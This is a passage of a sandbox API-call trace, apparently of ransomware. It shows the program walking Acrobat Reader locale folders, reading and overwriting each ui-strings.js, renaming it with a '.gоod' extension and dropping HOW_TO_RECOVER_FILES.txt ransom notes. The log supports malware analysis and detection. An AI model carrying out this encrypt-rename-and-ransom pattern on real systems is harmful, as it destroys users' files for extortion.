nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.054] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0147.054] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.054] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.054] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x68 [0147.054] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.055] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.055] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0147.055] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0147.055] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0147.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3bb2bf8 | out: lpFileInformation=0x3bb2bf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea5)) returned 1 [0147.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0147.055] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0147.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.056] GetFileType (hFile=0x7fc) returned 0x1 [0147.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0147.056] GetFileType (hFile=0x7fc) returned 0x1 [0147.275] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xea5 [0147.275] ReadFile (in: hFile=0x7fc, lpBuffer=0x3725e98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3725e98*, lpNumberOfBytesRead=0x1ffeba08*=0xea5, lpOverlapped=0x0) returned 1 [0147.277] CloseHandle (hObject=0x7fc) returned 1 [0147.303] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0147.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.304] GetFileType (hFile=0x7fc) returned 0x1 [0147.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0147.304] GetFileType (hFile=0x7fc) returned 0x1 [0147.304] WriteFile (in: hFile=0x7fc, lpBuffer=0x37a4ef0*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x37a4ef0*, lpNumberOfBytesWritten=0x1ffeb918*=0xeb0, lpOverlapped=0x0) returned 1 [0147.305] CloseHandle (hObject=0x7fc) returned 1 [0147.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0147.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0147.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0147.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x54027a1b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0147.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0147.306] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\ui-strings.js.gоod")) returned 1 [0147.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0147.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0147.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0147.307] GetFileType (hFile=0x7fc) returned 0x1 [0147.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0147.307] GetFileType (hFile=0x7fc) returned 0x1 [0147.308] WriteFile (in: hFile=0x7fc, lpBuffer=0x37a8760*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37a8760*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0147.308] CloseHandle (hObject=0x7fc) returned 1 [0147.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.309] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x68 [0147.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.309] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.309] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.309] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x68 [0147.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.310] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.310] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.310] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0147.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0147.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\sl-sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7fc [0147.311] GetFileType (hFile=0x7fc) returned 0x1 [0147.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0147.311] GetFileType (hFile=0x7fc) returned 0x1 [0147.311] WriteFile (in: hFile=0x7fc, lpBuffer=0x37ba1b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37ba1b0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0147.312] CloseHandle (hObject=0x7fc) returned 1 [0147.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x68 [0147.312] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.313] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.313] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0147.313] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.313] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0147.313] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x68 [0147.313] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.313] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.314] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0147.314] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xde6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0147.314] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0147.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0147.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\sv-se\\ui-strings.js", 